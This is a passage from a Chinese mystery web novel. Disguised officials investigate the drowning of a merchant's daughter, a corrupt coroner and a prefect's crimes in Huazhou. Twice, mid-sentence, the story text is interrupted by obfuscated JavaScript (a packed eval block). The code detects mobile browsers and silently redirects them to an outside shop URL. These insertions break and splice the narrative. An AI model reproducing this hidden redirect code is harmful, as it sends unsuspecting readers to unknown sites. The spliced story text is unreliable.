二人挂心着杨苗儿失踪的事情,到厨房拿了几个胡饼吃了就立即调转方向去往正厅。 还未到正厅,路边的一个小院儿传来罗薇的骂声。 闻蝉拉住郑观澜,指了指那院子,示意他一起去偷听。 她还听到有个男子的声音呢! 二人轻手轻脚走到院门外,透过缝隙看了进去。 罗薇正和锦鸿相对站着。 这俩人…… 闻蝉不由想到昨日罗薇提起锦鸿的话来。 “是你杀了杨苗儿吧?”罗薇的语气满是肯定,死死盯着锦鸿。 锦鸿摇了摇扇子。 “我?杀人?” 他挑起嘴角一笑。 “我就是杀人也不会去杀一个如花似玉的小娘子啊。罗娘子,杨苗儿只是失踪,可不是已经被害,你这话可不能乱说,多不吉利。” 罗薇手一挥。 “巧言令色!你总是这样!除了你还能是谁?你就是厌烦了杨苗儿纠缠你,所以才把她给杀了!别以为我不知道!你这个人嘴里说着好听的话,心里比谁都狠毒,腻味了就把人抛开,毫不留情,像是扔掉什么垃圾一般……” 她的双目逐渐染上淡淡的红色,配上双手乱挥的动作,显得像是在发狂一般。 锦鸿微微皱眉,后退了一步,不准备和她纠缠。 “告辞。” 对方冷淡的态度更刺伤了罗薇,她一把拽住锦鸿。 “你敢走!” 锦鸿侧过头,似是无奈,语气依旧十分温柔,如同情人低语一般。 “罗娘子,放手吧。” 罗薇眼神恍惚了一瞬,变得飘忽起来。 “不能走,你不能走。” 锦鸿实在是受不了了,不知从哪儿掏出一把匕首,把衣角割断,一甩袖子就走了。 院内传来罗薇低哑的哭泣声。 藏在角落的二人面面相觑。 闻蝉小声道:“难怪昨日她和我说什么,锦鸿是个不折不扣的浪荡子,原来他们二人有这一层关系?” 等二人到正厅的时候,锦鸿已经换了一身衣裳坐在郝回的身侧,郝回见二人来了,如同往日一般,弹了两下琵琶,算是见礼。 锦鸿笑嘻嘻说道:“郝兄真是风雅极了,以乐声为言语,倒是比人说话更动听些。” 闻蝉觉着他是刚刚受了罗薇的刺激才有这样的感叹。 “可有消息了?”郑观澜问着一直沉默的张敛。 张敛摇头:“没有……我们把下面的树林都翻了一遍,还是没有。婢女也查了她的屋内,杨小娘子屋内没有任何物件缺失……就是人不见了。” 原本嬉皮笑脸的锦鸿脸上的笑意也消失了。 这不是好的预兆。 若只是离家出走,定然会戴上金银细软。 就在众人都不敢多说之时,传来的噩耗彻底坐实了几人的猜测——杨苗儿死了。 尸体是在半山腰上的六姑泉中发现的。 发现尸体的人是杨家的一个仆人。 他跪在杨金斗的面前。 “小的走这儿路过,猛地看见一团青白,定睛一看才发现是小娘子的尸体悠悠荡荡在水面飘着。” 那场景应当十分可怖,才让他抖如筛糠。 闻蝉借着郑观澜的遮掩,偷偷看向尸体。 面色苍白微微发青,口鼻处有细细的泡沫。 这是典型的溺亡特征。 可尸体的脖颈处却缠绕着一大把黑色的头发,像是水草一般,死死缠在上面。 这让闻蝉莫名想起了郑观澜那晚故意吓人而编出的鬼故事。 捞起尸体的仆人还在理着那一大把头发,可是头发打结得厉害,又不敢拽,一番功夫几乎白费。 闻蝉忍不住提醒。 “在衙门的人来之前,最好还是不要动尸体为好。” 张敛急忙附和:“没错!文夫人说得对!昨日到今日,我们一直在此处找孩子。却没有找到,可见孩子定然是被他人所杀,绝非意外溺亡!” 他说的话倒是有几分分量,那仆人这才停下手。 “文双,你说是谁杀了杨苗儿?” 罗薇的声音就在耳边。 闻蝉胳膊都起了鸡皮疙瘩。 她装作伤心无措的样子,摇摇头。 “谁知道呢?杨小娘子平日里最是温和,也不爱说话,不知是哪个歹人竟会害她!” 罗薇低低笑了一声。 “温和?” 闻蝉抹着眼泪,倚在郑观澜胳膊上,借势躲开这个明显已经有些疯狂的人。 郑观澜感觉到她的动作,差点跳起来。 “怎……你怎么了?” 闻蝉可怜兮兮,抱着他的胳膊。 “尸体……好吓人……” 郑观澜被噎住了,差点没稳住自己的表情。 她说尸体好吓人? 真是好吓人。 片刻后,一群衙役和一个背着箱子的老仵作浩浩荡荡冲上山来。 众人被衙役围成的圈隔开,只能远远看着。 仵作在前面验尸。 为首的捕头就地开始问话。 仆人的证词和之前一样,没有什么线索,他又转头问起郑观澜等人。 “你们是六姑社的夫子吧?说说,昨日到今日发生了什么。” 张敛站了出来,他的声音还有些嘶哑。 “让在下来说吧。昨日晚饭后,杨小娘子就不见了人影,在下发现后立即通知了所有人。从昨晚到今日,我们和杨家的仆人把这座山到处都翻遍了,却不见人影。一直到方才,一个仆人偶然路过六姑泉,才发现了……孩子的尸体。” 捕头皱眉。 “找了一日都没找着?这尸体难道是从地下冒出来的?”他扭过头,问仵作,“左仵作,人是什么时候死的?” 那仵作还真有几分本事,不过片刻就将基本情况查验清楚。 “昨晚亥时初左右溺亡的。” 锦鸿接话:“那不就是昨晚我们发现她失踪的时候吗?” 捕头追问:“失踪时间确定是亥时初吗?” 锦鸿不说话了。 张敛说道:“应该不止,昨日,最后一个见到杨小娘子的是六姑社内一个婢女,大概是酉时正左右,之后就再也没人见过她了。” “这什么玩意儿啊!”仵作抱怨了一句,拿起一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970485|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把剪刀把那些缠在脖子上的头发直接剪断。 捕头继续问道:“杨小娘子失踪之前可有异常?” 几人都是摇头。 “那她可和谁起过争执?” 张敛看了一眼郑观澜:“是没有吧?” 郑观澜如实道:“我才来没几日,男女有别,和她们少有私下交道,未见过几位小娘子起争执。” 张敛和郝回也点点头。 此时,捕头才注意到一直没说话的郝回。 “胡人?” 郝回立即指了指自己的嘴巴,又摆了摆手。 锦鸿帮着解释:“差爷,他叫郝回,是六姑社里教琵琶的夫子,不会说话。” “是个哑巴?”捕头发笑,“一个哑巴怎么当夫子?” 郝回是个软性子,只挠挠头,尴尬笑了笑。 “你呢?你是干什么的?”捕头的眼神带着怀疑,在锦鸿身上打量,“总不会你也是夫子?” 面前这人看着也太不像夫子了! 这也是闻蝉心头的疑问。 锦鸿没有丝毫不豫,拱手道:“在下是个普通文人,偶然游历至渭南,因那点微末才学,得了杨老板等人的赏识,留在此处与几位小娘子切磋书画,算不得夫子。” 这话也说得过去,捕头又看了另外几人,都是正经人的模样,也没有再问,转头问向仵作。 “老左,咋样?” 那仵作站起身,拍了拍衣角。 “不对劲啊……” “怎么不对劲?” “明明是溺亡,可是这杨小娘子的脖子上却有勒痕。” 他指了指尸体。 那被黑色碎发环绕的雪白脖颈上赫然有一道极宽的红紫色勒痕。 “头发勒死的?”捕头问道。 仵作很是果断:“不,肯定是淹死的。” “那是凶手把人推入水中后又把人勒死了?” 仵作摇摇头:“死后产生的勒痕应当是发青的。” 捕头听得头都大了,一挥手。 “管她咋死的!反正人是亥时没的!” 他继续问众人。 “昨日亥时,你们在何处?” “都在找人啊!”锦鸿说道。 张敛提醒:“差爷,这个水潭距离我们六姑社有近一个时辰的路程。” 捕头一听就明白了。 “一个时辰……那就应当是亥时前后一个时辰都不在的人。” “那定然没有!”罗薇大声道,“昨日亥时前虽说不准,但是亥时后我们都被叫去找人了,都不可能有作案的时间呐!不过……” 她忽然做出一副为难的样子。 捕头不耐烦皱起眉:“不过什么!别支支吾吾卖关子,爷最烦这种人!” 罗薇眼神一飘,扫了一眼顾纨。 “顾娘子的茶庄就在六姑泉不远处吧?若我没记错,一刻钟就能来回?” 顾纨面色丝毫未变,看向张敛。 “张郎君应当知晓,昨晚你来找我的时候,我正在制茶,整整一晚,我都和婢女们在一块,没有离开超过一刻钟以上。” 罗薇反驳的速度飞快。 “奴不为主证。” 顾纨微微挑眉:“那就把我捉去县衙审问?” 捕头却迟疑了。 “这倒是没必要……” 罗薇提高了音量:“就她有作案时间!怎么不审她!总不会昨日还有人专门上山来杀人吧?” 捕头一眼瞪过去:“你办案还是我办案?要你来指指点点!” 罗薇被吼得缩了一下脖子,但还是很快恢复了平日里镇定的样子。 “我也是为差爷好,等会儿杨老板来了,您要是连一个嫌疑人都没捉到,又该如何交代呢?” 捕头犹豫了起来,没有像方才一样训斥她。 “这话可说得不好听。”锦鸿摇着扇子,“别人差爷怎么也不会为了交差乱捉人吧?” 捕头被架住了,不知如何是好。 身在漩涡中心的顾纨却主动上前。 “身正不怕影斜。” 她扶了扶发髻,姿态闲适得仿佛是要去游玩一般。 “我不会怪谁,也相信刺史衙门会给我一个公道。” 捕头面色一松,抬手一引。 “顾娘子,得罪了。” 59. 富贵虚华 顾纨被带走了。 其余几个小娘子聚在一起,除去陈若兰都在哭。 “不可能是顾夫子。”即使平日里最刻薄的张菡萏都不相信。 陈若兰慢条斯理说道:“制茶不能间断,若是昨晚顾夫子在制茶,是绝对空不出时间去杀人的。” 何妙只一味点头:“是呀是呀。而且顾夫子最好了,怎么会杀杨姐姐呢?” “说不定是哪个强盗……潜入了六姑社?”何春白着脸,说完就开始不停咳嗽。 张菡萏一下窜起来,尖叫一声:“不可能!” 正咳嗽的何春一下没了声息,其余人也吓得不轻。 闻蝉说道:“杨小娘子的首饰并未丢失,应当不是遇到了强盗吧?” 张菡萏斜睨了一眼何春。 “不懂就别乱吓人!” 何春低下头,不敢再开口。 气氛很是凝滞。 陈若兰却突然道:“刺史衙门真的把顾夫子捉走了?” 张敛宽慰道:“也不算捉,我看那差役态度还算客气。只要查清了,顾夫子定然能平安归来。” 陈若兰眉头微蹙。 “衙门可不是什么好去处。差役就为了这个把顾夫子捉了?难道他都不怕顾家知晓吗?” 张敛偷偷觑了一眼挑事的罗薇,到底没好意思揭破。 郝回没法说话,闻蝉二人一直作壁上观,更是不会轻易开口。 反倒是锦鸿直接一语道破。 “还不是要有赖于罗夫子仗义执言。” 他这语气一反往常,充满了针对之意。 陈若兰一听果然面色都沉了下去。 “罗夫子可真是一片好心。” 张菡萏说话就没这么含蓄了。 她指着罗薇鼻子骂。 “你就是因为嫉妒顾夫子所以才害她的吧!” 另外几人也面带不满。 “我……” 罗薇强装镇定,实际上手都在发颤。 “我也是为了查清凶手!”她义正言辞,像是毫无私心一般,“这上上下下就她有嫌疑,万一是因为……” 张菡萏冷笑一声。 “得了吧!你以为谁和你似的,眼皮子比水洼还浅,随便见个长的略平头正脸些的男子就就昏了头?” 罗薇被这样直接的话骂得面色赤红,却不敢反驳一句。 张菡萏翘起腿,继续说道:“我告诉你,你是夫子,可也是我张家雇来的,别以为自己岁数大些,多做了几年的活儿,就是什么长辈了。我就见不惯你这样的贱人。” 这话骂得太过,叶淑大着胆子拉了拉张菡萏。 张菡萏一把甩开,骂得更难听了。 “难怪这么大岁数都嫁不出去,还恨嫁呢?” “咳咳咳……”何春又咳了起来,面色涌上病态的潮红。 闻蝉虽不喜罗薇,但也不愿见她被侮辱成这样。 “何娘子是不舒服吗?要不回去休息一二?” 张菡萏被打断又无可奈何,小声骂了一句:“病秧子……” “小娘子,陈郎君过来了。”一个婢女小跑着进来通报。 张菡萏脸上瞬间露出得意的神色,她悠悠站起身。 “我先去招待客人了。” 叶淑讨好一笑:“陈郎君定然是怕姐姐吓着了才急匆匆赶过来。” 这话张菡萏很是受用。 “谁让他来了。” 嘴上这样说,动作可是半点不慢,她几乎是大摇大摆走了出去。 …… 回到院子的时候,已经是深夜。 二人在床上对坐,闻蝉小声说着自己的计划。 “今日那个仵作验尸的结果是对的。” 郑观澜最近也看了不少验尸的书,算是懂得了一点门道。 “可结果很矛盾。若人是淹死的,那脖子上的勒痕又是死前伤。难道是凶手把人勒晕后推入水中导致其溺亡?” “有这个可能,我没看到细节,也无法确定。最怪的地方在于尸体出现的位置。六姑泉十分清澈,从昨晚到今日,寻找的人来来去去经过那么多次,都没有发现尸体,怎么会今日傍晚那尸体一下就蹦出来了呢?”闻蝉重重叹气,“若要验证清楚,必须要近身查验甚至剖尸才行。” 郑观澜的人这几日都在私下探查杨家这几家的关系,其背后势力可以说是越挖越深,他们一时之间还真不敢暴露身份。 “不过……”闻蝉眯起眼睛,笑得十分奸诈,“那个仵作我认识。” “你认识?” “萧散的验尸格目就是他写的!伤痕也多半是他伪造的。明日我们就找个由头下山,直接去找他!” 郑观澜觉得她即将采取不太正当但是十分有效的行动。 …… 第二日一早,闻蝉就拿着厨房做的点心去了罗薇的院子里。 罗薇缓缓打开门,头发随意用木簪挽着,连假发髻都没戴,很是颓丧。 “罗姐姐……”闻蝉面露担忧,“我来找你说说话。” “是来看我笑话吧?”罗薇拉长了脸,说话比往日更难听了几分。 闻蝉主动握住她的手。 “你别误会!我早就听说张娘子为人刻薄,怎么会把她故意侮辱人的话当做真的呢?我是担心你……” 罗薇面色好看了些,侧开身让出入口。 “进来吧。” 二人就在院内的石桌边坐下,闻蝉取出食盒里的几盘点心,笑着招呼她。 “点心都还热乎的,你先尝尝。” 罗薇吃了一块,又喝了一口茶。 闻蝉也不急,就在一边看着她,什么都不说。 等一盘点心少了一半,罗薇才放下茶盏。 她嘴唇动了动。 “多谢你……” “你我之间,不必如此客气。”闻蝉这才开始引起话题,“大户人家的孩子都是这样的,将我们普通人视作猪狗一般。骂几句都算轻的,京城里那些世家子仗着家世草菅人命的都不少。” 这个梯子搭得好,让罗薇真把闻蝉当成了和自己一伙的人。 她话匣子也打开了。 “张菡萏……你知道她为何那么维护顾纨吗?” 闻蝉一脸恍然:“是啊!她那么刻薄的人,怎么对顾纨那么好?” “是为了顾家!” 罗薇敞开了说。 “顾家是我们本地第一大的茶商,家产虽比不上杨家那么丰厚,但人脉极广。可偏偏顾纨的老爹生不出儿子,都五十多了,就顾纨一个女儿!实在没法子,顾纨的老爹认了顾纨的表弟做儿子,准备让他日后主持顾家。那个表弟就是张菡萏的未婚夫。当然,顾家老头也没那么傻,顾家的茶叶制法这些核心的东西都在顾纨手里捏着,那些客人也是只认顾纨。” “张菡萏怎么如此看重和顾家的婚事?她家不缺顾家这点钱吧?难道是她很喜欢那个陈郎君?” 罗薇嘴角勾起。 “这事很复杂。不过说到底,无非是因为一个原因……” “什么原因?” “张家不行了!” “罗姐姐……你这话是何意?张家生意出问题了?” 罗薇颔首:“是。张菡萏本是不喜欢这个未婚夫的,反倒是那个陈郎君对张菡萏黏得紧。但是,如今张家内里空虚,已经支撑不起张菡萏的花销,她喜好奢华,只能通过她的未婚夫来维持自己面上的体面。” 她畅快笑了一声,笑声短促尖利。 “可是啊,顾纨从一开始就不喜欢她,更不赞成自己表弟和她的婚事,她就是再讨好也无济于事!顾纨可不是泥巴做的,只要顾纨在一日,就绝对不会让她进顾家的门!” 闻蝉问道:“张家看着那般体面,家里竟然已经至此了吗?” 罗薇倒是很淡定。 “做生意的不都这样吗?又不止张家,就说杨家如今也败落了。只是杨苗儿这个女人太聪明了。她现在装简朴才女……和那个顾纨一样,花销也不大,还能维持几分体面。” “那另外几位家里不会也……” “也就何家好一点,叶家亏空更多,你来的晚不知道,叶淑都两年的时间没有戴新的金饰的,她现在戴的,看着金灿灿的晃眼睛,实际上都是她家里长辈的东西了!” 闻蝉咬了咬嘴唇:“不会到时候发不了工钱吧……” 罗薇哈哈大笑:“瘦死的骆驼比马大,你怕什么!” …… 从罗薇那里得了消息,闻蝉在下山的时候把一切都告诉给了郑观澜。 “罗薇的话可能有夸张的成分,但看昨日的情状,张菡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“左仵作,我见你眼熟啊。” 左仵作不明所以,干巴巴笑道:“是吗?我看夫人也面善。” “应当是七八年前,我在大理寺见过你。”闻蝉一步一步朝着他走过去,站在他的面前,抬起了下巴,“只是当时,我在验尸房外,你没看清我的脸而已。” 大理寺这三个字让左仵作如遭雷劈,整个人都呆住了。 “你……你是那个闻蝉?” “确实是个聪明人,难怪能够想得到用芮草汁来掩盖伤痕。” 左仵作咽了一口口水,浑身打了个激灵。 “你查出来了?” “雕虫小技。你谋害朝廷命官,借仵作身份遮掩罪证。”闻蝉骤然厉声道,“左宽!你可知罪!” 左宽吓得腿软,直接跪了下来。 “小的……小的也是……被逼……” 闻蝉俯下身。 “此案已经上达天听,本官和郑评事奉圣命而来,为的就是揪出凶手……” 左宽早已吓得魂不附体,一股脑全说了出来。 “是上头的人让我这么干的!司马亲自吩咐的,小的不敢不听啊!小的就是个仵作,要不是被胁迫怎么会去掺和到这种事里面!” 他砰砰磕了两下头。 “闻录事,您明鉴哇!” 闻蝉伸出手,语气缓和。 “来,你先起来。” 左宽缩着脖子,不敢动弹。 闻蝉说道:“本官信你。本官是仵作出身,先父也是仵作,明白你的无奈。” 听了这话,左宽的眼泪都要出来了,颤颤巍巍站了起来。 “小的真的……冤枉……” 闻蝉说道:“我知道你冤枉,可是你终究是犯了罪。如今,你只能戴罪立功。” 左宽头点得飞快。 “小的明白,小的明白,您想知道什么,小的都说,都说!” 60. 毛女传说 闻蝉见他如此上道,心里松了一大口气。 “萧散来之后,可和杨家他们打过交道?” “有!萧御史才来没多久,杨家他们几家就跟着刺史和县令招待萧御史,还带着萧御史去自己铺面逛。之后,更是时常在一块,我听衙门的人说的,他们还一块去爬了华山,在瑞泉观也盘桓了数日,你们见过那六姑社上面的牌匾吗?那牌匾就是萧御史在六姑社的时候给她们写的。” “那今年朝廷拨下来赈灾的粮食……” 左宽苦笑:“要是赈灾粮没有问题,萧御史也不会被害死了。”他是个平头百姓,对刺史这些人还是怨恨难抑,“年年都是如此,您是不知道,这么些年,刺史这些人伙同杨家他们在华州敛财无数……没人管呐!” “杨家他们和顾家有关吗?” “还真不包括!顾家那位顾娘子,比猴子还精明,顾家是什么都不沾手!也因此,顾家的生意做不出渭南。” 闻蝉问回萧散的事情。 “你验尸之时可有什么发现?” “萧御史的手指甲缝里有红色的船漆,手背上有被人用钝物击打的伤。定然是他落水后想要爬上船时候被人……” 闻蝉打断了他接下来的话。 “我知道了。今日的话,你记住,到时候需要你作证。” 左宽深深作了个揖。 “小的明白!” “还有。”闻蝉威胁道,“来之前,你的事情我们已经通知了出去,若是你敢告密……” 左宽急忙表忠心。 “小的哪里有这个胆子!我知道,现在这案子上头已经查了下来,要是我不好好配合就是个死。我真说漏嘴了,刺史他们也得灭我的口哇!” “你确实是个聪明人。”闻蝉扫了一眼验尸房内,“杨苗儿的尸体呢?我看看。” 对于闻蝉的名声,左宽早有耳闻,也一直很想见识一二。 “您当时也在跟前,定然也发现这不对劲的地方了吧?” 左宽带着她走到验尸房的左边角落里。 一掀开白布,就是杨苗儿的尸体。 “你过来看。”闻蝉叫郑观澜走近些,指着杨苗儿那双因为被长时间浸泡而发白膨胀的手。 郑观澜教她们弹琴,自然是见过她们的手。 原本保养得当的纤纤玉手此刻却像是长期劳作的人的手一般,不仅肿胀还布满了褶皱。 “尸体在水中长时间浸泡后,皮肤就会变成这样,尤其是以人的手足变化最为明显。浸泡时间有半个时辰,手指和脚趾的皮肤就会发生变化。超过一日手掌和脚掌才会变化。如果有两日,那手脚所有皮肤都会变化。因为看上去酷似妇人常年洗衣导致的损伤,所以也称为漂妇手。杨苗儿的手掌脚掌已经开始出现变化,说明她在水中被浸泡的时间已经有一日左右。她死于前日晚上亥时,被发现于昨日傍晚,时间确实将近整整一日。所以,可以判定在这段时间内,她的尸体一直在被泡在水中。” 郑观澜点头:“我记下了。” 闻蝉又继续检查杨苗儿的手指。 她的手指缝隙里有一层浅浅的黑色。 “黑色的沙土?” “是。我昨日回来就验过了,确实是黑色的沙土。” “六姑泉旁边都是土黄色的沙土。” “不仅如此!”左宽转身去箱子里翻出一把头发,“这个是我昨日绞下来的,根据比对,那个勒痕就是这个头发造成的,可是怎么看,那个勒痕也是死前伤。或许是凶手把人勒晕后推入水中导致其溺亡的。” “这头发……我昨日就想说,缠得很紧吗?” “是,特别紧,我是用剪子才绞下来的。” “这就不对了!”闻蝉接过那一把头发,“这应当是她的假发髻吧?凶手用它将人勒晕后,顺滑的发髻再怎么打结也不会死死缠住脖子,水流是能把头发冲散的。” “就是这里不对!”左宽抱怨道,“我昨日回来后,老老实实把这处疑点报了上去,没想到,刺史他们不仅不重视,反而还惹来其他人说闲话。” “什么闲话?” “二位知道那华山毛女的传说吗?” 闻蝉刻意看了郑观澜一眼:“记忆犹新。” 郑观澜摸了摸脖子:“永志不忘。” “他们说是毛女杀人……” “毛女是神仙,不是妖怪。” “是啊!”左宽很是气愤,“毛女娘娘和六姑仙子都是神仙呐!就因为毛女娘娘的仙容独特,如今都被传成妖怪了!” 闻蝉问道:“他们如何说的?” “他们说,毛女将自己的毛发做成假发髻混在商铺售卖的假发髻中,等小娘子戴上假发髻后,毛女就会操控自己的毛发,将人勒死,通过毛发吸干她们的魂魄精血来长生不老。”左宽嘀咕,“从死状来看是很像……可杨娘子明明就是被溺死的。” 二人对着所谓的传说都十分不屑一顾,左耳进右耳出。 闻蝉问起顾纨的去处。 “我们今日来还为了一件事。你可知晓顾娘子的情况如何?” “顾娘子吗?她好得很。监牢都没进,一直在后院和刺史夫人她们喝茶呢。说是今晚就放她回去。”左宽说道,“本来就是冤枉的,你们是不是想要找她打探杨家那些消息啊?” “是啊。” “那你们找对人了,顾娘子消息最灵通不过,当时萧御史也和她打过不少交道呢!” …… 在左宽的指引下,二人在刺史府外蹲到了刚刚被“放出来”的顾纨。 见到二人,她不免有些意外。 “你们怎么在这儿?” 闻蝉挎着篮子。 “我想着来看看你,没想到差役告诉我,说你很快就要出来。我就在这里等着了。” 顾纨捂嘴笑:“正好我们可以一起回去。” 三人并排走着,闻蝉关切问道:“顾娘子,他们没有为难你吧?” “怎会?我和刺史的母亲关系颇好,昨儿一进来就被老夫人接走了。” “那就好!”闻蝉拍了拍心口,“我们方才在门口听那些差役说起了一件事,关于杨娘子被害的一件事。” “哦?”顾纨皱了皱眉,“可是那个什么毛女杀人的话?” 闻蝉重重点头:“你也听说啦?” “今日,刺史亲自来问我案子的经过,漏了些口风。这话虽然古怪,也不算空穴来风。我问过的,说那头发确实是杨苗儿头上的一个假发髻,可是,她怎么会任凭凶手拆开她的发髻呢?拆假发髻可麻烦了,取下来后,还得一点点把里面捆着的细绳拆下来才能恢复成一把头发。凶手在做这些的时候,难道杨苗儿就在旁边看着?” 杨苗儿既然有些许挣扎的痕迹,在被勒晕前一定是清醒的状态。 “难怪连罗夫 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她们已经走到了山脚下,陡峭的山壁就在面前。 “幸而,刺史出兵将那伙土匪剿灭,也算是为她们报仇了。” 顾纨的声音在山前微微回荡着,多了几分虚幻之感。 …… “什么剿匪?依我看,这就是杀人灭口!”闻蝉拍了一下桌子,十分气愤。 郑观澜也做如此想。 “刺史周赐想要借六姑社牟利,玉、姜两家不从。他便借土匪之名将两家人杀死,之后,再以剿匪为由将土匪全部灭口。就算去查,也找不到半点证据。” 闻蝉拿出那一方萧散被害前寄来的白色绢帕。 “他给的信息只有这么多了,可是,肯定不止……萧散定然是在巡视的过程中发现了周赐等人的罪行。之后,他和周赐等人打交道,也是为了搜索证据。” “证据。”郑观澜忽然问道,“你说他是不是已经掌握了证据,但是被周赐等人发现,所以才会被害?” 闻蝉缓缓点头。 “萧散的本事不差,来这里这么久,他一定能找到点什么。我想……他出事前就已经完全被周赐等人秘密监视了起来。所以,他只能寄出一封像是情书的信到我的私宅。”她的声音忽的哽咽了一下,“在那个时候,他已经做好了死的准备,所以他才会去水边,引导他们害他落水而死。因为他知道……我记得他怕水。只要他落水而死的死讯传入京城,再加上那封信,我一定能够发现其中的问题。” 她不敢再想,那一封像是玩笑的书信,是萧散在怎样的绝境下写出的。 他当时或许一如往常,一手拿着小酒壶,歪歪斜斜站在桌前。 又或许连他也忧虑得无法保持常态,端端正正坐着,双眉紧皱,看着窗外,不知该如何落笔。 郑观澜将热腾腾的茶水向她的方向推了推。 闻蝉端起茶,浅浅啜了一口。 茶水湿答答的雾气扑向双眼,带着微苦的气息,让她清醒了几分。 “既然如此,那他定然也早就藏好了那些证据。而线索……” 白色的绢帕上,以黑墨利落勾出的山险峻挺拔,其余的地方都是草草几笔,让人只能分辨此地是何地。 “就在这张绢帕上!” 61. 意有所指 咚!咚!咚! “文双!文双!” 闻蝉猛地坐起身。 这声音……是罗薇? 郑观澜也一起坐了起来,二人对视一眼。 怕是不好! 闻蝉披上衣服去开门。 门一打开,就是罗薇苍白的脸。 “张菡萏失踪了!” 冷风从门外灌入,让人打了个激灵。 罗薇有些气喘。 “因为杨苗儿被杀,张敛很是不放心,今晚睡前就去各处看了看,这才发现张菡萏竟不在屋内。” 闻蝉将衣裳穿好:“都去找人了吗?” “去了去了!张敛让我来叫你们两口子帮忙。” 穿戴整齐的郑观澜走出:“走吧,我们去六姑泉附近找找。” 二人到六姑泉的时候,潭边已经站了十几个人,都伸长了脖子望着潭水冒着小泡的水面 看来,每个人都想到一块去了。 一个脑袋从水里冒出来。 是下水的仆人。 他甩了甩头上的水。 “没有,水下什么都没有!” 张敛见三人来了,朝罗薇问道:“几位小娘子呢?” “安排好了,她们都在一个房间,有四个人守着。水下没人,怎么办?” “我已经让人去通知张家了,先找着吧……”张敛看了一眼黑洞洞的四周,闭上眼,“先找……” 人群分成几组分开行动。 闻蝉二人如今是夫妻的身份,定然是在一块的。 “我们往山下走走,说不定人在下面。”郑观澜拉着她。 闻蝉感觉得到,郑观澜是另有所图。 “行!” 二人顺着山路向下。 其余人都在六姑泉以及其上的位置寻找,此处根本没有其他人在。 “我们往山下走做甚?” “你可还记得那首诗?” “哪一首?” “玉映秋的画像上。” “写毛女那首诗?” “是。你可有想过,萧散出事前的行动轨迹,他在此处盘桓数日,还特意在六姑社题匾。再加上玉家姜家被害,有没有可能,他就是在六姑社中找到了证据。” “而那份证据……是玉映秋和姜仪留下的?” “是。” “可这和我们下山有何关系?” “毛女和六姑本是一起逃出秦宫的,但在逃到山下黑松林之时,因为六姑无力再逃,她们才分开。那首诗的意思或得变上一变。‘食松七万年,独看沋水流。’是毛女独自生活数年,感到十分孤独,想到了昔日和她一起逃出的六姑。‘望西极乐界,日月七星顾。’是她站在华山之上,朝着西边看向六姑泉,希望她们生活得如同在极乐世界,有日月七星保佑她们。六姑泉就在华山的西边。” 闻蝉连连点头:“而毛女和六姑最后一面就是在那片黑松林?” “是,既然整首诗都在强调二者之间的关系,那黑松林就是最为关键的一个地点。” 正说着话,一片不大的树林就出现在二人眼中。 深绿的树冠隐没在黑暗中,闪着绿光。 这里便是黑松林。 二人没带灯笼,只能打着火折子进入。 树林地面上铺着一层薄薄的发黄的老松针。 闻蝉捡起一根手臂长的枯树枝,拨开那一层松针。 二人弓着腰,一寸一寸向前走着。 土壤的颜色是偏向明亮的黄,十分松软。 闻蝉说道:“我觉得我们找对地方了,这土才被翻过。” 有了这一点鼓舞,二人也顾不得腰酸背痛,一口气把树林搜了个遍。 然而,结果并不如人意。 树林的土地是被人翻过,可却没找到任何东西。 闻蝉高高昂起头,脖子发出咔咔的声音。 郑观澜扶着腰,靠在树上,哪里还有平日里那矜贵的样子。 “难道是我会错意了?可是谁又会到这里来挖地呢?” 天色已经蒙蒙亮。 二人只能往回走。 走到六姑泉,潭边已经站满了人。 有三十来号,都穿着统一的灰青色布衣,一看就知是同一家的仆人。 为首者是个五十左右的长脸男子,有点瘦,留着一把寸长的山羊胡,穿着一身油光水滑的土黄色绸布衣裳,上面绣着精致的团纹,腰间也挂着满满的玉佩吊坠香毬等饰物,稍稍一动,就发出清脆的敲击声。 这人想必就是张菡萏的父亲——张书华。 女儿的失踪让他十分慌神,站在那里都需要两个人扶着。 张敛垂首站在他面前,袖口早已被眼泪打湿。 “您放心,孩子一定不会有事的,我们继续找找,说不定就找到了。” 他的模样比张书华看着还要狼狈,衣摆上沾着一寸高的泥,腰间的衣裳还被刮破了几个洞。 张书华无力摆摆手,像是认命了一般,连声音都低得要听不见似的。 “找吧,找吧……” 众人立即四散开来,张敛也一瘸一拐走开。 只有罗薇朝着他们走了过来。 “这活儿是干不了了。” 她抱怨着。 “你们回来的晚,没看见张书华方才发狂的样子,说要把我们统统抓起来给他女儿抵命?” 闻蝉顺着说道:“他怎能这样不讲理!” “是啊,就算他只有这一个女儿也不能这样啊,我们也不想出这种事啊。”罗薇眼神向后一瞥,“别人张夫子那么卖力找人,把腿都摔了,他照样把人骂得狗血淋头。真是可笑,虽我不喜欢张敛这种泥人性子,可这半年来,六姑社上上下下都是别人张敛在操心,才把这六姑社打理得井井有条。他如今对张敛都这样,不知以后会怎么对我们?” “你说得我们心里也七上八下的。”闻蝉试探道,“不说张书华为难人,我们下山听到了些好吓人的话,什么神神鬼鬼的。” 罗薇表情一下变得不自然起来。 “神鬼之说不可信,要是冤魂真能索命,这世上得少一半的人。”她话锋一转,“诶,我给你们两口子说句交心的话,这连着出事,不是什么好兆头,你们才来不久,找个由头就走吧。” 闻蝉随口撒谎:“其实我们方才也有这个想法,只是怎么也得做满一月。那你呢?罗姐姐。” “我?”罗薇咬紧了嘴唇,一脸苦恼,“我也想走哇,只是在这人待的太久,恐怕……我岁数大了,没有其他地方可去。” “骑驴找马。”闻蝉小声道,“你算学那么好,还怕没有地方去吗?先悄悄找着吧。” 